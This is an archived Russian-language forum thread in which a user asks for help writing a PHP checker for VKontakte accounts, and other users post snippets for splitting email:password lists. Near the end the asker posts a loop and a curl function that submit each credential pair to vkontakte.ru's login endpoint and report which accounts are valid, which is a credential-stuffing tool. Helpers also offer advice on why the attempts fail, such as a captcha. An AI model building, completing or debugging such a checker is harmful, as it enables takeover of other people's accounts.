Просмотр полной версии : Разбитие строки на подстроки(вопрос)
Dark_Scorpicore
10.06.2009, 14:24
Доброго времени суток всем!
Пишу на PHP чекер акков ВК, не для продажи, чисто для себя.
Столкнулся с такой проблемой:
когда я беру мыла и пасс из текстовичка в виде мейл:пасс, и разбиваю на подстроки ф-ей explode, то первое мыло ложится в массив $array[0] (как мне и нужно), а пасс от этого мыла присоединяется к следующему мылу и ложится в $array[1] (неправильно).
То есть нужно так $array[0] - мейл, $array[1] - пасс от этого мейла. Лично я думаю, что тут нужно плюсовать 2 exploid'а, но пока ничего не вышло.
Подскажите, как быть
Спасибо.
mailbrush
10.06.2009, 14:38
foreach(file('mail.txt') as $account)
{
$data=explode(':',$account);
print_r($data);
}
Хз, что у тебя, юзай это.
<?php
// Пример 1
$pizza = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2
// Пример 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *
?>
(c) php.net
строку которую парсиш выложи
FireFenix
10.06.2009, 15:59
Вариант через руглярки
$file = 'file.txt';
$content = file_get_contents($file);
preg_match_all("/(.*?):(.*?)(\r\n|\z)/ism", $content, $match);
for ($i = 0; $i < count($match[0]); $i++)
{
echo('email = ' . $match[1][$i]);
echo('<br>');
echo('password = ' . $match[2][$i]);
echo('<hr>');
}
mailbrush
10.06.2009, 16:00
я беру мыла и пасс из текстовичка в виде мейл:пасс
LEE_ROY, зачем строчка, если есть условие?
preg_match_all("/(.+):(.+)/", file_get_contents("accs.txt"), $accs);
Ну вот 3 варианта обработки файла:
<?php
// вариант 1
foreach (explode ("\n", file_get_contents ('1.txt')) as $line) {
if (empty ($line))
continue;
list ($email, $pass) = explode (':', $line);
echo "$email\t$pass\n";
}
// вариант 2
foreach (file ('1.txt') as $line) {
$line = rtrim ($line);
if (empty ($line))
continue;
list ($email, $pass) = explode (':', $line);
echo "$email\t$pass\n";
}
// вариант 3
$content = file_get_contents ('1.txt');
$content = preg_replace ('/\n+/', "\n", $content);
preg_match_all ('/(.+?):(.+?)\n/', $content, $m);
for ($i = 0; $i < count ($m[1]); $i++) {
echo "{$m[1][$i]}\t{$m[2][$i]}\n";
}
?>
В последнем случае надо б иметь в конце файла пустую строку
FireFenix
10.06.2009, 16:27
Ну вот 3 варианта обработки файла:
В последнем случае надо б иметь в конце файла пустую строку
Читай внимательнее ! Все варианты уже выложили и они гораздо короче. А для регулярок я выкладывал, где можно без пустой последней строки!
LEE_ROY, зачем строчка, если есть условие?
ну если у человека не работает explode значед он что-то недоговаривает или недопонимает, из-за чего лучше увидеть строку, чем обьяснение, что сократит время на решение задачи и обьяснение ее словами. во как :)
Dark_Scorpicore
10.06.2009, 17:36
Спасибо всем за ответы
Вариант через руглярки
$file = 'file.txt';
$content = file_get_contents($file);
preg_match_all("/(.*?):(.*?)(\r\n|\z)/ism", $content, $match);
for ($i = 0; $i < count($match[0]); $i++)
{
echo('email = ' . $match[1][$i]);
echo('<br>');
echo('password = ' . $match[2][$i]);
echo('<hr>');
}
А как обращаться к переменным в этом случае?
лучше увидеть строку
Строка, которую парсю, выглядит так:
mail@mail.ru:moipass
mailbrush
10.06.2009, 17:44
mail@mail.ruassword
Если кто не в теме - ачат почему - то режет это иногда. Юзер имел в виду mail@mail.ru:password.
Dark_Scorpicore, я тебе написал, имхо, самый оптимальный вариант.
Теперь с комментами:
foreach(file('mail.txt') as $account) # в цикле обрабатываем каждую строчку файла mail.txt
{
$data=explode(':',$account); # разделяем мейл, пасс
echo $data[0].' - login.'.$data[1].' - pass'; # выводим даные
}
#Мегахакерский скрипт by me
Если кто не в теме - ачат почему - то режет это иногда. Юзер имел в виду mail@mail.ru:password.
Dark_Scorpicore, я тебе написал, имхо, самый оптимальный вариант.
Теперь с комментами:
foreach(file('mail.txt') as $account) # в цикле обрабатываем каждую строчку файла mail.txt
{
$data=explode(':',$account); # разделяем мейл, пасс
echo $data[0].' - login.'.$data[1].' - pass'; # выводим даные
}
#Мегахакерский скрипт by me
перевод строки забыл, будет каша при выводе )
зы ТС мне кажеться у тебя список идет без переноса строки user@mail.ru:pass?user@mail.ru:pass ? тогда нужно делать двойной explode по " : " по второму разделителю, что наврное есть пробел :confused:
FireFenix
10.06.2009, 18:24
А как обращаться к переменным в этом случае?
<?php
$file = 'file.txt';
$content = file_get_contents($file);
//регулярное выражение (.*?):(.*?)(\r\n|\z) возвратит все вхождения "почтовый ящик:пароль"
//(.*?) - первая и вторая группы вхождений
preg_match_all("/(.*?):(.*?)(\r\n|\z)/ism", $content, $match);
//Перебираем в цикле все найденные позиции
//$i - поизиция элемента в массиве
for ($i = 0; $i < count($match[0]); $i++)
{
//в $match[0] хранится массив всех найденных вхождения, т.е. элементы вида имя почтового ящика:пароль
//$match[0][$i] - обращение к $i позицией в массиве "почтовый ящик:пароль"
echo('group = ' . $match[0][$i]);
echo('<br>');
//в $match[1] хранится массив всех найденных значений по первой группе вхождения, т.е. имя почтового ящика
//$match[1][$i] - обращение к $i позицией в массиве "почтовых ящиков"
echo('email = ' . $match[1][$i]);
echo('<br>');
//в $match[2] хранится массив всех найденных значений по второй группе вхождения, т.е. пароли
//$match[2][$i] - обращение к $i позицией в массиве "паролей"
echo('password = ' . $match[2][$i]);
echo('<hr>');
}
?>
Если ты запустишь скрипт, то всё поймёшь наглядно :)
лажа )
если акки идут в одну строку через пробел, выдаст:
group = user1@mail.ru:password1 user2@mail.ru:password2
email = user1@mail.ru
password = password1 user2@mail.ru:password2
mailbrush
10.06.2009, 19:14
тогда так:
$accounts=explode(' ',file_get_contetns('mails.txt'));
foreach ($accounts as $account)
{
$var=explode(':',$account);
print_r($var);
}
FireFenix
10.06.2009, 19:56
лажа )
если акки идут в одну строку через пробел, выдаст:
group = user1@mail.ru:password1 user2@mail.ru:password2
email = user1@mail.ru
password = password1 user2@mail.ru:password2
Нада делать под конкретный случай! ИМХО :)
Или прописывать "или" в разделителе регулярки '(\n|\r\n|\+|\#|\ |\*)'
<?php
$file = 'file.txt';
$separator = '(\r\n|\z)'; // ' ' или '_' или '+' или '\n' или '\#' и т.д. :)
$content = file_get_contents($file);
preg_match_all("/(.*?):(.*?)' . $separator . '/ism", $content, $match);
for ($i = 0; $i < count($match[0]); $i++)
{
echo('group = ' . $match[0][$i]);
echo('<br>');
echo('email = ' . $match[1][$i]);
echo('<br>');
echo('password = ' . $match[2][$i]);
echo('<hr>');
}
?>
mailbrush
10.06.2009, 20:05
Народ, зачем усложнять задачу? Это простая строчка, разбивка которой может обойтись без регулярок.
FireFenix, даже этот код можна сделать более оптимальным. Зачем использовать цикл for ($i = 0; $i < count($match[0]); $i++) если для работы с массивами предназначен цикл foreach()
FireFenix
10.06.2009, 20:20
Народ, зачем усложнять задачу? Это простая строчка, разбивка которой может обойтись без регулярок.
Если сделать задачу на все случаи жизни, то регулярки правят миром :)
FireFenix, даже этот код можна сделать более оптимальным. Зачем использовать цикл
foreach - да несомненно выведет всё что есть. Но ведь если мне нужна только первая группа выборки? или вторую присвоить/найти различия с другим массивам? тогда поэлементно может и не наглядно, зато практично
mailbrush
10.06.2009, 20:31
Если сделать задачу на все случаи жизни, то регулярки правят миром Не в этом случае.
вообщем вот мое решение, еси в файле акки лежат к примеру вот так:
user1@mail.ru:password1 user2@mail.ru:password2 user3@mail.ru:password3 user4@mail.ru:password4 user4@mail.ru:password4
user4@mail.ru:password4
user5@mail.ru:password5
через пробел тоесть, то можно распарсить вот так:
<?php
$name = file_get_contents("c:/vk.txt");
$array = preg_split("/[ \\n]/", $name);
echo "<PRE>";
foreach ( $array as $value ) {
$acc = explode(":", $value);
echo $acc[0] ." - ". $acc[1] ."\n";
}
echo "</PRE>";
?>
регулярку ессно можно подкрутить под свое :)
Dark_Scorpicore
11.06.2009, 10:31
Итак, вот какой кусок кода по проверке валида аккаунта. Но не работает.. В чем косяк?
foreach(file($txt_file) as $account)
{
$data=explode(':',$account);
$link = "http://vkontakte.ru/login.php?op=a_login_attempt&email=".$data[0]."&pass=".$data[1]."&expire=0";
$res = go($link, $cookie);
$searchtext = 'good';
if(strpos($res, $searchtext) == false)
print "".$data[0]." and ".$data[1]." not valid";
else{
print "".$data[0]." and ".$data[1]." are valid";
}
}
FireFenix
11.06.2009, 10:49
Выложи функцию go и все зависимые ибо телепаты в отпуске
Dark_Scorpicore
11.06.2009, 11:32
FireFenix, вот функция go, если еще что-то понадобится буду редактировать этот пост
function go($link, $data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_GET, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$otvet = curl_exec($ch);
curl_close($ch);
return $otvet;
}
И да, файлы в текстовике лежат так(каждый на новой строке):
mail1:moipass1
mail2:moipass2
mail3:moipass3
mail4:moipass4
капчу наверно выплевывает, или структура запроса изменилась...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot